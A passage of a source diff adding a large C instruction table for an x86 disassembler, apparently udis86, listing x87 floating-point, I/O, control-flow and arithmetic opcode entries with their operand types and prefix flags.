O_NONE, O_NONE, P_none }, + /* 1130 */ { UD_Ifucomi, O_ST0, O_ST0, O_NONE, P_none }, + /* 1131 */ { UD_Ifucomi, O_ST0, O_ST1, O_NONE, P_none }, + /* 1132 */ { UD_Ifucomi, O_ST0, O_ST2, O_NONE, P_none }, + /* 1133 */ { UD_Ifucomi, O_ST0, O_ST3, O_NONE, P_none }, + /* 1134 */ { UD_Ifucomi, O_ST0, O_ST4, O_NONE, P_none }, + /* 1135 */ { UD_Ifucomi, O_ST0, O_ST5, O_NONE, P_none }, + /* 1136 */ { UD_Ifucomi, O_ST0, O_ST6, O_NONE, P_none }, + /* 1137 */ { UD_Ifucomi, O_ST0, O_ST7, O_NONE, P_none }, + /* 1138 */ { UD_Ifcomi, O_ST0, O_ST0, O_NONE, P_none }, + /* 1139 */ { UD_Ifcomi, O_ST0, O_ST1, O_NONE, P_none }, + /* 1140 */ { UD_Ifcomi, O_ST0, O_ST2, O_NONE, P_none }, + /* 1141 */ { UD_Ifcomi, O_ST0, O_ST3, O_NONE, P_none }, + /* 1142 */ { UD_Ifcomi, O_ST0, O_ST4, O_NONE, P_none }, + /* 1143 */ { UD_Ifcomi, O_ST0, O_ST5, O_NONE, P_none }, + /* 1144 */ { UD_Ifcomi, O_ST0, O_ST6, O_NONE, P_none }, + /* 1145 */ { UD_Ifcomi, O_ST0, O_ST7, O_NONE, P_none }, + /* 1146 */ { UD_Ifadd, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1147 */ { UD_Ifmul, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1148 */ { UD_Ifcom, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1149 */ { UD_Ifcomp, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1150 */ { UD_Ifsub, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1151 */ { UD_Ifsubr, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1152 */ { UD_Ifdiv, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1153 */ { UD_Ifdivr, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1154 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, P_none }, + /* 1155 */ { UD_Ifadd, O_ST1, O_ST0, O_NONE, P_none }, + /* 1156 */ { UD_Ifadd, O_ST2, O_ST0, O_NONE, P_none }, + /* 1157 */ { UD_Ifadd, O_ST3, O_ST0, O_NONE, P_none }, + /* 1158 */ { UD_Ifadd, O_ST4, O_ST0, O_NONE, P_none }, + /* 1159 */ { UD_Ifadd, O_ST5, O_ST0, O_NONE, P_none }, + /* 1160 */ { UD_Ifadd, O_ST6, O_ST0, O_NONE, P_none }, + /* 1161 */ { UD_Ifadd, O_ST7, O_ST0, O_NONE, P_none }, + /* 1162 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, P_none }, + /* 1163 */ { UD_Ifmul, O_ST1, O_ST0, O_NONE, P_none }, + /* 1164 */ { UD_Ifmul, O_ST2, O_ST0, O_NONE, P_none }, + /* 1165 */ { UD_Ifmul, O_ST3, O_ST0, O_NONE, P_none }, + /* 1166 */ { UD_Ifmul, O_ST4, O_ST0, O_NONE, P_none }, + /* 1167 */ { UD_Ifmul, O_ST5, O_ST0, O_NONE, P_none }, + /* 1168 */ { UD_Ifmul, O_ST6, O_ST0, O_NONE, P_none }, + /* 1169 */ { UD_Ifmul, O_ST7, O_ST0, O_NONE, P_none }, + /* 1170 */ { UD_Ifcom2, O_ST0, O_NONE, O_NONE, P_none }, + /* 1171 */ { UD_Ifcom2, O_ST1, O_NONE, O_NONE, P_none }, + /* 1172 */ { UD_Ifcom2, O_ST2, O_NONE, O_NONE, P_none }, + /* 1173 */ { UD_Ifcom2, O_ST3, O_NONE, O_NONE, P_none }, + /* 1174 */ { UD_Ifcom2, O_ST4, O_NONE, O_NONE, P_none }, + /* 1175 */ { UD_Ifcom2, O_ST5, O_NONE, O_NONE, P_none }, + /* 1176 */ { UD_Ifcom2, O_ST6, O_NONE, O_NONE, P_none }, + /* 1177 */ { UD_Ifcom2, O_ST7, O_NONE, O_NONE, P_none }, + /* 1178 */ { UD_Ifcomp3, O_ST0, O_NONE, O_NONE, P_none }, + /* 1179 */ { UD_Ifcomp3, O_ST1, O_NONE, O_NONE, P_none }, + /* 1180 */ { UD_Ifcomp3, O_ST2, O_NONE, O_NONE, P_none }, + /* 1181 */ { UD_Ifcomp3, O_ST3, O_NONE, O_NONE, P_none }, + /* 1182 */ { UD_Ifcomp3, O_ST4, O_NONE, O_NONE, P_none }, + /* 1183 */ { UD_Ifcomp3, O_ST5, O_NONE, O_NONE, P_none }, + /* 1184 */ { UD_Ifcomp3, O_ST6, O_NONE, O_NONE, P_none }, + /* 1185 */ { UD_Ifcomp3, O_ST7, O_NONE, O_NONE, P_none }, + /* 1186 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, P_none }, + /* 1187 */ { UD_Ifsubr, O_ST1, O_ST0, O_NONE, P_none }, + /* 1188 */ { UD_Ifsubr, O_ST2, O_ST0, O_NONE, P_none }, + /* 1189 */ { UD_Ifsubr, O_ST3, O_ST0, O_NONE, P_none }, + /* 1190 */ { UD_Ifsubr, O_ST4, O_ST0, O_NONE, P_none }, + /* 1191 */ { UD_Ifsubr, O_ST5, O_ST0, O_NONE, P_none }, + /* 1192 */ { UD_Ifsubr, O_ST6, O_ST0, O_NONE, P_none }, + /* 1193 */ { UD_Ifsubr, O_ST7, O_ST0, O_NONE, P_none }, + /* 1194 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, P_none }, + /* 1195 */ { UD_Ifsub, O_ST1, O_ST0, O_NONE, P_none }, + /* 1196 */ { UD_Ifsub, O_ST2, O_ST0, O_NONE, P_none }, + /* 1197 */ { UD_Ifsub, O_ST3, O_ST0, O_NONE, P_none }, + /* 1198 */ { UD_Ifsub, O_ST4, O_ST0, O_NONE, P_none }, + /* 1199 */ { UD_Ifsub, O_ST5, O_ST0, O_NONE, P_none }, + /* 1200 */ { UD_Ifsub, O_ST6, O_ST0, O_NONE, P_none }, + /* 1201 */ { UD_Ifsub, O_ST7, O_ST0, O_NONE, P_none }, + /* 1202 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, P_none }, + /* 1203 */ { UD_Ifdivr, O_ST1, O_ST0, O_NONE, P_none }, + /* 1204 */ { UD_Ifdivr, O_ST2, O_ST0, O_NONE, P_none }, + /* 1205 */ { UD_Ifdivr, O_ST3, O_ST0, O_NONE, P_none }, + /* 1206 */ { UD_Ifdivr, O_ST4, O_ST0, O_NONE, P_none }, + /* 1207 */ { UD_Ifdivr, O_ST5, O_ST0, O_NONE, P_none }, + /* 1208 */ { UD_Ifdivr, O_ST6, O_ST0, O_NONE, P_none }, + /* 1209 */ { UD_Ifdivr, O_ST7, O_ST0, O_NONE, P_none }, + /* 1210 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, P_none }, + /* 1211 */ { UD_Ifdiv, O_ST1, O_ST0, O_NONE, P_none }, + /* 1212 */ { UD_Ifdiv, O_ST2, O_ST0, O_NONE, P_none }, + /* 1213 */ { UD_Ifdiv, O_ST3, O_ST0, O_NONE, P_none }, + /* 1214 */ { UD_Ifdiv, O_ST4, O_ST0, O_NONE, P_none }, + /* 1215 */ { UD_Ifdiv, O_ST5, O_ST0, O_NONE, P_none }, + /* 1216 */ { UD_Ifdiv, O_ST6, O_ST0, O_NONE, P_none }, + /* 1217 */ { UD_Ifdiv, O_ST7, O_ST0, O_NONE, P_none }, + /* 1218 */ { UD_Ifld, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1219 */ { UD_Ifisttp, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1220 */ { UD_Ifst, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1221 */ { UD_Ifstp, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1222 */ { UD_Ifrstor, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1223 */ { UD_Ifnsave, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1224 */ { UD_Ifnstsw, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1225 */ { UD_Iffree, O_ST0, O_NONE, O_NONE, P_none }, + /* 1226 */ { UD_Iffree, O_ST1, O_NONE, O_NONE, P_none }, + /* 1227 */ { UD_Iffree, O_ST2, O_NONE, O_NONE, P_none }, + /* 1228 */ { UD_Iffree, O_ST3, O_NONE, O_NONE, P_none }, + /* 1229 */ { UD_Iffree, O_ST4, O_NONE, O_NONE, P_none }, + /* 1230 */ { UD_Iffree, O_ST5, O_NONE, O_NONE, P_none }, + /* 1231 */ { UD_Iffree, O_ST6, O_NONE, O_NONE, P_none }, + /* 1232 */ { UD_Iffree, O_ST7, O_NONE, O_NONE, P_none }, + /* 1233 */ { UD_Ifxch4, O_ST0, O_NONE, O_NONE, P_none }, + /* 1234 */ { UD_Ifxch4, O_ST1, O_NONE, O_NONE, P_none }, + /* 1235 */ { UD_Ifxch4, O_ST2, O_NONE, O_NONE, P_none }, + /* 1236 */ { UD_Ifxch4, O_ST3, O_NONE, O_NONE, P_none }, + /* 1237 */ { UD_Ifxch4, O_ST4, O_NONE, O_NONE, P_none }, + /* 1238 */ { UD_Ifxch4, O_ST5, O_NONE, O_NONE, P_none }, + /* 1239 */ { UD_Ifxch4, O_ST6, O_NONE, O_NONE, P_none }, + /* 1240 */ { UD_Ifxch4, O_ST7, O_NONE, O_NONE, P_none }, + /* 1241 */ { UD_Ifst, O_ST0, O_NONE, O_NONE, P_none }, + /* 1242 */ { UD_Ifst, O_ST1, O_NONE, O_NONE, P_none }, + /* 1243 */ { UD_Ifst, O_ST2, O_NONE, O_NONE, P_none }, + /* 1244 */ { UD_Ifst, O_ST3, O_NONE, O_NONE, P_none }, + /* 1245 */ { UD_Ifst, O_ST4, O_NONE, O_NONE, P_none }, + /* 1246 */ { UD_Ifst, O_ST5, O_NONE, O_NONE, P_none }, + /* 1247 */ { UD_Ifst, O_ST6, O_NONE, O_NONE, P_none }, + /* 1248 */ { UD_Ifst, O_ST7, O_NONE, O_NONE, P_none }, + /* 1249 */ { UD_Ifstp, O_ST0, O_NONE, O_NONE, P_none }, + /* 1250 */ { UD_Ifstp, O_ST1, O_NONE, O_NONE, P_none }, + /* 1251 */ { UD_Ifstp, O_ST2, O_NONE, O_NONE, P_none }, + /* 1252 */ { UD_Ifstp, O_ST3, O_NONE, O_NONE, P_none }, + /* 1253 */ { UD_Ifstp, O_ST4, O_NONE, O_NONE, P_none }, + /* 1254 */ { UD_Ifstp, O_ST5, O_NONE, O_NONE, P_none }, + /* 1255 */ { UD_Ifstp, O_ST6, O_NONE, O_NONE, P_none }, + /* 1256 */ { UD_Ifstp, O_ST7, O_NONE, O_NONE, P_none }, + /* 1257 */ { UD_Ifucom, O_ST0, O_NONE, O_NONE, P_none }, + /* 1258 */ { UD_Ifucom, O_ST1, O_NONE, O_NONE, P_none }, + /* 1259 */ { UD_Ifucom, O_ST2, O_NONE, O_NONE, P_none }, + /* 1260 */ { UD_Ifucom, O_ST3, O_NONE, O_NONE, P_none }, + /* 1261 */ { UD_Ifucom, O_ST4, O_NONE, O_NONE, P_none }, + /* 1262 */ { UD_Ifucom, O_ST5, O_NONE, O_NONE, P_none }, + /* 1263 */ { UD_Ifucom, O_ST6, O_NONE, O_NONE, P_none }, + /* 1264 */ { UD_Ifucom, O_ST7, O_NONE, O_NONE, P_none }, + /* 1265 */ { UD_Ifucomp, O_ST0, O_NONE, O_NONE, P_none }, + /* 1266 */ { UD_Ifucomp, O_ST1, O_NONE, O_NONE, P_none }, + /* 1267 */ { UD_Ifucomp, O_ST2, O_NONE, O_NONE, P_none }, + /* 1268 */ { UD_Ifucomp, O_ST3, O_NONE, O_NONE, P_none }, + /* 1269 */ { UD_Ifucomp, O_ST4, O_NONE, O_NONE, P_none }, + /* 1270 */ { UD_Ifucomp, O_ST5, O_NONE, O_NONE, P_none }, + /* 1271 */ { UD_Ifucomp, O_ST6, O_NONE, O_NONE, P_none }, + /* 1272 */ { UD_Ifucomp, O_ST7, O_NONE, O_NONE, P_none }, + /* 1273 */ { UD_Ifiadd, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1274 */ { UD_Ifimul, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1275 */ { UD_Ificom, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1276 */ { UD_Ificomp, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1277 */ { UD_Ifisub, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1278 */ { UD_Ifisubr, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1279 */ { UD_Ifidiv, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1280 */ { UD_Ifidivr, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1281 */ { UD_Ifaddp, O_ST0, O_ST0, O_NONE, P_none }, + /* 1282 */ { UD_Ifaddp, O_ST1, O_ST0, O_NONE, P_none }, + /* 1283 */ { UD_Ifaddp, O_ST2, O_ST0, O_NONE, P_none }, + /* 1284 */ { UD_Ifaddp, O_ST3, O_ST0, O_NONE, P_none }, + /* 1285 */ { UD_Ifaddp, O_ST4, O_ST0, O_NONE, P_none }, + /* 1286 */ { UD_Ifaddp, O_ST5, O_ST0, O_NONE, P_none }, + /* 1287 */ { UD_Ifaddp, O_ST6, O_ST0, O_NONE, P_none }, + /* 1288 */ { UD_Ifaddp, O_ST7, O_ST0, O_NONE, P_none }, + /* 1289 */ { UD_Ifmulp, O_ST0, O_ST0, O_NONE, P_none }, + /* 1290 */ { UD_Ifmulp, O_ST1, O_ST0, O_NONE, P_none }, + /* 1291 */ { UD_Ifmulp, O_ST2, O_ST0, O_NONE, P_none }, + /* 1292 */ { UD_Ifmulp, O_ST3, O_ST0, O_NONE, P_none }, + /* 1293 */ { UD_Ifmulp, O_ST4, O_ST0, O_NONE, P_none }, + /* 1294 */ { UD_Ifmulp, O_ST5, O_ST0, O_NONE, P_none }, + /* 1295 */ { UD_Ifmulp, O_ST6, O_ST0, O_NONE, P_none }, + /* 1296 */ { UD_Ifmulp, O_ST7, O_ST0, O_NONE, P_none }, + /* 1297 */ { UD_Ifcomp5, O_ST0, O_NONE, O_NONE, P_none }, + /* 1298 */ { UD_Ifcomp5, O_ST1, O_NONE, O_NONE, P_none }, + /* 1299 */ { UD_Ifcomp5, O_ST2, O_NONE, O_NONE, P_none }, + /* 1300 */ { UD_Ifcomp5, O_ST3, O_NONE, O_NONE, P_none }, + /* 1301 */ { UD_Ifcomp5, O_ST4, O_NONE, O_NONE, P_none }, + /* 1302 */ { UD_Ifcomp5, O_ST5, O_NONE, O_NONE, P_none }, + /* 1303 */ { UD_Ifcomp5, O_ST6, O_NONE, O_NONE, P_none }, + /* 1304 */ { UD_Ifcomp5, O_ST7, O_NONE, O_NONE, P_none }, + /* 1305 */ { UD_Ifcompp, O_NONE, O_NONE, O_NONE, P_none }, + /* 1306 */ { UD_Ifsubrp, O_ST0, O_ST0, O_NONE, P_none }, + /* 1307 */ { UD_Ifsubrp, O_ST1, O_ST0, O_NONE, P_none }, + /* 1308 */ { UD_Ifsubrp, O_ST2, O_ST0, O_NONE, P_none }, + /* 1309 */ { UD_Ifsubrp, O_ST3, O_ST0, O_NONE, P_none }, + /* 1310 */ { UD_Ifsubrp, O_ST4, O_ST0, O_NONE, P_none }, + /* 1311 */ { UD_Ifsubrp, O_ST5, O_ST0, O_NONE, P_none }, + /* 1312 */ { UD_Ifsubrp, O_ST6, O_ST0, O_NONE, P_none }, + /* 1313 */ { UD_Ifsubrp, O_ST7, O_ST0, O_NONE, P_none }, + /* 1314 */ { UD_Ifsubp, O_ST0, O_ST0, O_NONE, P_none }, + /* 1315 */ { UD_Ifsubp, O_ST1, O_ST0, O_NONE, P_none }, + /* 1316 */ { UD_Ifsubp, O_ST2, O_ST0, O_NONE, P_none }, + /* 1317 */ { UD_Ifsubp, O_ST3, O_ST0, O_NONE, P_none }, + /* 1318 */ { UD_Ifsubp, O_ST4, O_ST0, O_NONE, P_none }, + /* 1319 */ { UD_Ifsubp, O_ST5, O_ST0, O_NONE, P_none }, + /* 1320 */ { UD_Ifsubp, O_ST6, O_ST0, O_NONE, P_none }, + /* 1321 */ { UD_Ifsubp, O_ST7, O_ST0, O_NONE, P_none }, + /* 1322 */ { UD_Ifdivrp, O_ST0, O_ST0, O_NONE, P_none }, + /* 1323 */ { UD_Ifdivrp, O_ST1, O_ST0, O_NONE, P_none }, + /* 1324 */ { UD_Ifdivrp, O_ST2, O_ST0, O_NONE, P_none }, + /* 1325 */ { UD_Ifdivrp, O_ST3, O_ST0, O_NONE, P_none }, + /* 1326 */ { UD_Ifdivrp, O_ST4, O_ST0, O_NONE, P_none }, + /* 1327 */ { UD_Ifdivrp, O_ST5, O_ST0, O_NONE, P_none }, + /* 1328 */ { UD_Ifdivrp, O_ST6, O_ST0, O_NONE, P_none }, + /* 1329 */ { UD_Ifdivrp, O_ST7, O_ST0, O_NONE, P_none }, + /* 1330 */ { UD_Ifdivp, O_ST0, O_ST0, O_NONE, P_none }, + /* 1331 */ { UD_Ifdivp, O_ST1, O_ST0, O_NONE, P_none }, + /* 1332 */ { UD_Ifdivp, O_ST2, O_ST0, O_NONE, P_none }, + /* 1333 */ { UD_Ifdivp, O_ST3, O_ST0, O_NONE, P_none }, + /* 1334 */ { UD_Ifdivp, O_ST4, O_ST0, O_NONE, P_none }, + /* 1335 */ { UD_Ifdivp, O_ST5, O_ST0, O_NONE, P_none }, + /* 1336 */ { UD_Ifdivp, O_ST6, O_ST0, O_NONE, P_none }, + /* 1337 */ { UD_Ifdivp, O_ST7, O_ST0, O_NONE, P_none }, + /* 1338 */ { UD_Ifild, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1339 */ { UD_Ifisttp, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1340 */ { UD_Ifist, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1341 */ { UD_Ifistp, O_Mw, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1342 */ { UD_Ifbld, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1343 */ { UD_Ifild, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1344 */ { UD_Ifbstp, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1345 */ { UD_Ifistp, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1346 */ { UD_Iffreep, O_ST0, O_NONE, O_NONE, P_none }, + /* 1347 */ { UD_Iffreep, O_ST1, O_NONE, O_NONE, P_none }, + /* 1348 */ { UD_Iffreep, O_ST2, O_NONE, O_NONE, P_none }, + /* 1349 */ { UD_Iffreep, O_ST3, O_NONE, O_NONE, P_none }, + /* 1350 */ { UD_Iffreep, O_ST4, O_NONE, O_NONE, P_none }, + /* 1351 */ { UD_Iffreep, O_ST5, O_NONE, O_NONE, P_none }, + /* 1352 */ { UD_Iffreep, O_ST6, O_NONE, O_NONE, P_none }, + /* 1353 */ { UD_Iffreep, O_ST7, O_NONE, O_NONE, P_none }, + /* 1354 */ { UD_Ifxch7, O_ST0, O_NONE, O_NONE, P_none }, + /* 1355 */ { UD_Ifxch7, O_ST1, O_NONE, O_NONE, P_none }, + /* 1356 */ { UD_Ifxch7, O_ST2, O_NONE, O_NONE, P_none }, + /* 1357 */ { UD_Ifxch7, O_ST3, O_NONE, O_NONE, P_none }, + /* 1358 */ { UD_Ifxch7, O_ST4, O_NONE, O_NONE, P_none }, + /* 1359 */ { UD_Ifxch7, O_ST5, O_NONE, O_NONE, P_none }, + /* 1360 */ { UD_Ifxch7, O_ST6, O_NONE, O_NONE, P_none }, + /* 1361 */ { UD_Ifxch7, O_ST7, O_NONE, O_NONE, P_none }, + /* 1362 */ { UD_Ifstp8, O_ST0, O_NONE, O_NONE, P_none }, + /* 1363 */ { UD_Ifstp8, O_ST1, O_NONE, O_NONE, P_none }, + /* 1364 */ { UD_Ifstp8, O_ST2, O_NONE, O_NONE, P_none }, + /* 1365 */ { UD_Ifstp8, O_ST3, O_NONE, O_NONE, P_none }, + /* 1366 */ { UD_Ifstp8, O_ST4, O_NONE, O_NONE, P_none }, + /* 1367 */ { UD_Ifstp8, O_ST5, O_NONE, O_NONE, P_none }, + /* 1368 */ { UD_Ifstp8, O_ST6, O_NONE, O_NONE, P_none }, + /* 1369 */ { UD_Ifstp8, O_ST7, O_NONE, O_NONE, P_none }, + /* 1370 */ { UD_Ifstp9, O_ST0, O_NONE, O_NONE, P_none }, + /* 1371 */ { UD_Ifstp9, O_ST1, O_NONE, O_NONE, P_none }, + /* 1372 */ { UD_Ifstp9, O_ST2, O_NONE, O_NONE, P_none }, + /* 1373 */ { UD_Ifstp9, O_ST3, O_NONE, O_NONE, P_none }, + /* 1374 */ { UD_Ifstp9, O_ST4, O_NONE, O_NONE, P_none }, + /* 1375 */ { UD_Ifstp9, O_ST5, O_NONE, O_NONE, P_none }, + /* 1376 */ { UD_Ifstp9, O_ST6, O_NONE, O_NONE, P_none }, + /* 1377 */ { UD_Ifstp9, O_ST7, O_NONE, O_NONE, P_none }, + /* 1378 */ { UD_Ifnstsw, O_AX, O_NONE, O_NONE, P_none }, + /* 1379 */ { UD_Ifucomip, O_ST0, O_ST0, O_NONE, P_none }, + /* 1380 */ { UD_Ifucomip, O_ST0, O_ST1, O_NONE, P_none }, + /* 1381 */ { UD_Ifucomip, O_ST0, O_ST2, O_NONE, P_none }, + /* 1382 */ { UD_Ifucomip, O_ST0, O_ST3, O_NONE, P_none }, + /* 1383 */ { UD_Ifucomip, O_ST0, O_ST4, O_NONE, P_none }, + /* 1384 */ { UD_Ifucomip, O_ST0, O_ST5, O_NONE, P_none }, + /* 1385 */ { UD_Ifucomip, O_ST0, O_ST6, O_NONE, P_none }, + /* 1386 */ { UD_Ifucomip, O_ST0, O_ST7, O_NONE, P_none }, + /* 1387 */ { UD_Ifcomip, O_ST0, O_ST0, O_NONE, P_none }, + /* 1388 */ { UD_Ifcomip, O_ST0, O_ST1, O_NONE, P_none }, + /* 1389 */ { UD_Ifcomip, O_ST0, O_ST2, O_NONE, P_none }, + /* 1390 */ { UD_Ifcomip, O_ST0, O_ST3, O_NONE, P_none }, + /* 1391 */ { UD_Ifcomip, O_ST0, O_ST4, O_NONE, P_none }, + /* 1392 */ { UD_Ifcomip, O_ST0, O_ST5, O_NONE, P_none }, + /* 1393 */ { UD_Ifcomip, O_ST0, O_ST6, O_NONE, P_none }, + /* 1394 */ { UD_Ifcomip, O_ST0, O_ST7, O_NONE, P_none }, + /* 1395 */ { UD_Iloopne, O_Jb, O_NONE, O_NONE, P_none }, + /* 1396 */ { UD_Iloope, O_Jb, O_NONE, O_NONE, P_none }, + /* 1397 */ { UD_Iloop, O_Jb, O_NONE, O_NONE, P_none }, + /* 1398 */ { UD_Ijcxz, O_Jb, O_NONE, O_NONE, P_aso }, + /* 1399 */ { UD_Ijecxz, O_Jb, O_NONE, O_NONE, P_aso }, + /* 1400 */ { UD_Ijrcxz, O_Jb, O_NONE, O_NONE, P_aso }, + /* 1401 */ { UD_Iin, O_AL, O_Ib, O_NONE, P_none }, + /* 1402 */ { UD_Iin, O_eAX, O_Ib, O_NONE, P_oso }, + /* 1403 */ { UD_Iout, O_Ib, O_AL, O_NONE, P_none }, + /* 1404 */ { UD_Iout, O_Ib, O_eAX, O_NONE, P_oso }, + /* 1405 */ { UD_Icall, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1406 */ { UD_Ijmp, O_Jz, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1407 */ { UD_Ijmp, O_Av, O_NONE, O_NONE, P_oso }, + /* 1408 */ { UD_Ijmp, O_Jb, O_NONE, O_NONE, P_def64 }, + /* 1409 */ { UD_Iin, O_AL, O_DX, O_NONE, P_none }, + /* 1410 */ { UD_Iin, O_eAX, O_DX, O_NONE, P_oso }, + /* 1411 */ { UD_Iout, O_DX, O_AL, O_NONE, P_none }, + /* 1412 */ { UD_Iout, O_DX, O_eAX, O_NONE, P_oso }, + /* 1413 */ { UD_Ilock, O_NONE, O_NONE, O_NONE, P_none }, + /* 1414 */ { UD_Iint1, O_NONE, O_NONE, O_NONE, P_none }, + /* 1415 */ { UD_Irepne, O_NONE, O_NONE, O_NONE, P_none }, + /* 1416 */ { UD_Irep, O_NONE, O_NONE, O_NONE, P_none }, + /* 1417 */ { UD_Ihlt, O_NONE, O_NONE, O_NONE, P_none }, + /* 1418 */ { UD_Icmc, O_NONE, O_NONE, O_NONE, P_none }, + /* 1419 */ { UD_Itest, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1420 */ { UD_Itest, O_Eb, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1421 */ { UD_Inot, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1422 */ { UD_Ineg, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1423 */ { UD_Imul, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1424 */ { UD_Iimul, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1425 */ { UD_Idiv, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1426 */ { UD_Iidiv, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1427 */ { UD_Itest, O_Ev, O_sIz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1428 */ { UD_Itest, O_Ev, O_Iz, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1429 */ { UD_Inot, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1430 */ { UD_Ineg, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1431 */ { UD_Imul, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1432 */ { UD_Iimul, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1433 */ { UD_Idiv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1434 */ { UD_Iidiv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1435 */ { UD_Iclc, O_NONE, O_NONE, O_NONE, P_none }, + /* 1436 */ { UD_Istc, O_NONE, O_NONE, O_NONE, P_none }, + /* 1437 */ { UD_Icli, O_NONE, O_NONE, O_NONE, P_none }, + /* 1438 */ { UD_Isti, O_NONE, O_NONE, O_NONE, P_none }, + /* 1439 */ { UD_Icld, O_NONE, O_NONE, O_NONE, P_none }, + /* 1440 */ { UD_Istd, O_NONE, O_NONE, O_NONE, P_none }, + /* 1441 */ { UD_Iinc, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1442 */ { UD_Idec, O_Eb, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1443 */ { UD_Iinc, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1444 */ { UD_Idec, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1445 */ { UD_Icall, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1446 */ { UD_Icall, O_Eq, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1447 */ { UD_Icall, O_Fv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1448 */ { UD_Ijmp, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1449 */ { UD_Ijmp, O_Fv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1450 */ { UD_Ipush, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, +}; + + +const char * ud_mnemonics_str[] = { 